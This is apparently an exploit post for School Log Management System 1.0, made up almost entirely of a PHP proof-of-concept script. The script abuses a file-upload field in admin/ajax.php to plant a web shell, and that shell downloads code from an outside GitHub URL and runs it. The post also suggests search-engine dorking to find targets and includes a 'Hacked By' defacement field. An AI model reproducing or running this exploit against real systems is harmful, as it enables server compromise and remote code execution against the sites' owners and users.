School Log Management System 1.0 Code Injection

=============================================================================================================================================| # Title     : School Log Management System 1.0 code injection Vulnerability                                                               || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits)                                                            || # Vendor    : https://www.sourcecodester.com/sites/default/files/download/oretnom23/school-log-management-system_1.zip                    |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] This payload injects php code of your choice into an SHELL.php file. [+] Line 28    Line 37  [+] change the path of the script folder.[+] save payload as poc.php[+] usage from cmd : C:\www\test>php 1.php 127.0.0.1[+] payload :<?phpfunction file_upload($target_ip) {    $file_name = "indoushka.php";    $webshell_payload = "<?php        \$url = 'https://raw.githubusercontent.com/indoushka/txt/main/indoushka.txt';        \$ch = curl_init();        curl_setopt(\$ch, CURLOPT_URL, \$url);        curl_setopt(\$ch, CURLOPT_RETURNTRANSFER, true);        \$output = curl_exec(\$ch);        curl_close(\$ch);        if (\$output) {            include 'data://text/plain;base64,' . base64_encode(\$output);        }    ?>";    $post_fields = array(                'name' => 'Hacked By Indoushka',        'email' => '[email protected]',    'contact' => '00213771818860',    'img' => new CURLFile('data://text/plain;base64,' . base64_encode($webshell_payload), 'application/x-php', $file_name),        'qty' => '1'    );    $ch = curl_init();    curl_setopt($ch, CURLOPT_URL, "http://$target_ip/slms/admin/ajax.php?action=save_settings");    curl_setopt($ch, CURLOPT_POST, 1);    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);    $response = curl_exec($ch);    curl_close($ch);    echo "(+) Shell uploaded successfully.\n";    echo "(+) Access the shell at: http://$target_ip/slms/admin/assets/uploads/\n";}if ($argc != 2) {    echo "(+) Usage: php " . $argv[0] . " <target ip>\n";    echo "(+) Example: php " . $argv[0] . " 10.0.0.1\n";    exit(-1);}$target_ip = $argv[1];file_upload($target_ip);Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================